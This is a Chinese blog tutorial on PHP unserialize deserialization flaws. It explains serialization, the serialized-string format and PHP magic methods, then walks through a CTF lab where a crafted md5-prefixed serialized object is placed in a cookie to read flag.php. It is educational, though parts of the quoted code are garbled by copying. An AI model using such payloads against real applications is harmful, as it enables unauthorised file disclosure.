unserialize反序列化漏洞(小宇特详解)

unserialize反序列化漏洞(小宇特详解)

通俗的解释一下序列化和反序列化

咱们小时候都喜欢玩游戏,特别是一些单机游戏,这些单机游戏都会有存档这个功能。例如罪恶都市这种游戏都有完美存档,你在网上下载的时候会发现像这些存档都特别的小,大部分是几十kb,而游戏却很大。

存档中都是一些关键性的参数:等级 武器 血量等,游戏的存档只对当前游戏

序列化:游戏的存档=>把当前的状态存储住

反序列化:游戏的读档=>从序列化的值中恢复当时状态

特点:游戏的档只能给当前游戏用

这里了解一下类和对象

类:实现某种功能的一个集合

对象:特殊的数据类型(这里不必太过深入的了解,因为可能会适得其反)

序列化:游戏存档

1.确立是什么游戏(序列化和类是在一起的)

类:游戏的本体

序列化:游戏的存储数据(保存当前的状态)

反序列化的时候(把序列化后的字符串放入类进行运行)

实战演示序列化和反序列化

这里先了解一下几个函数

第一个函数能够高亮显示文件内容

unserialize反序列化漏洞(小宇特详解)

unserialize反序列化漏洞(小宇特详解)

unserialize反序列化漏洞(小宇特详解)

这里补充一个查看当前文件路径的办法,使用

(__FLIE__)

unserialize反序列化漏洞(小宇特详解)

unserialize反序列化漏洞(小宇特详解)

这里直接写入一段序列化的php

unserialize反序列化漏洞(小宇特详解)

将test=‘123’进行了序列化
unserialize反序列化漏洞(小宇特详解)

这里O是对象的意思表示变量类型,7是类名的长度为7,调用了类名为chybeta的类,1为属性数量

{属性类型,属性名长度,属性名,属性值类型,属性值长度,属性值内容}

s为字符串,4为长度,test为名称,s为字符串,3为长度,123为内容

这里补充一下

类里面可以放变量和常量还有函数

类里面的函数叫做方法

这里有个特殊的方法叫做魔术方法,魔术方法就是满足条件就触发,以下是常用的魔术方法(这里记得和魔术引号做区分)

  • __construct(),类的构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会调用的。
  • __destruct(),类的析构函数,当对象被销毁是会自动调用。
  • __call(),在对象中调用一个不可访问方法时调用
  • __callStatic(),用静态方式中调用一个不可访问方法时调用
  • __get(),获得一个类的成员变量时调用
  • __set(),设置一个类的成员变量时调用
  • __isset(),当对不可访问属性调用isset()或empty()时调用
  • __unset(),当对不可访问属性调用unset()时被调用。
  • __sleep(),执行serialize()时,先会调用这个函数
  • __wakeup(),执行unserialize()时,先会调用这个函数
  • __toString(),类被当成字符串时的回应方法
  • __invoke(),调用函数的方式调用一个对象时的回应方法
  • __set_state(),调用var_export()导出类时,此静态方法会被调用。
  • __clone(),当对象复制完成时调用
  • __autoload(),尝试加载未定义的类
  • __debugInfo(),打印所需调试信息

这里进行反序列化

unserialize反序列化漏洞(小宇特详解)

unserialize反序列化漏洞(小宇特详解)

靶场练习(增加理解)

反序列化漏洞

危害在与魔术方法里面写了什么。

找到一个可以操作的变量$this->xxxx;

找到一个反序列化的地方(会执行序列化的点)

我们要传参控制那个变量并且触发魔术方法。

unserialize反序列化漏洞(小宇特详解)

unserialize反序列化漏洞(小宇特详解)

这里想进行序列化

$s = new readme();

$s ->source = ‘flag.php’;

serialize($s);

这里还有一段代码

<?php foreach($todos as $todo):?>//将todos的东西放到todo中这里todos是数组
<li><?=$todo?></li>//这里的<?=$todo?>使用了缩写相当于<?php echo $todo?>
<?php endforeach;?>

这段代码的作用是数组遍历

<?=$todo?>这里在过滤php的时候可以使用

这里直接将变量$s变成数组

unserialize反序列化漏洞(小宇特详解)

进行序列化

unserialize反序列化漏洞(小宇特详解)

对接下来的代码进行审计

// t o d o s = [ ] ; i f ( i s s e t ( todos = []; if(isset( todos=[];if(isset(_COOKIE[‘todos’])){
$c = $_COOKIE[‘todos’];//接收cookie传参todos
h = s u b s t r ( h = substr( h=substr(c, 0, 32);//substr(要截取的内容,从哪里截,截取到哪里)
m = s u b s t r ( m = substr( m=substr(c, 32);//从32位开始截截到最后
if(md5($m) === $h){
t o d o s = u n s e r i a l i z e ( todos = unserialize( todos=unserialize(m);
}
}
$h = 传参todos前32位
m = 传 参 t o d o s 32 位 后 m d 5 ( m = 传参todos32位后 md5( m=传参todos32位后md5(m)===$h
c = m d 5 ( c = md5( c=md5(m).$m
e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:“readme”:1:{s:6:“source”;s:8:“flag.php”;}}

这里就剩下最后一步了,进行抓包。

unserialize反序列化漏洞(小宇特详解)

写上cookie并且将todos进行url编码。得到flag
unserialize反序列化漏洞(小宇特详解)

unserialize反序列化漏洞(小宇特详解)

上一篇:unserialize反序列化 安鸾 Writeup


下一篇:Shiro系列 | 《Shiro开发详细教程》第一章:Shiro入门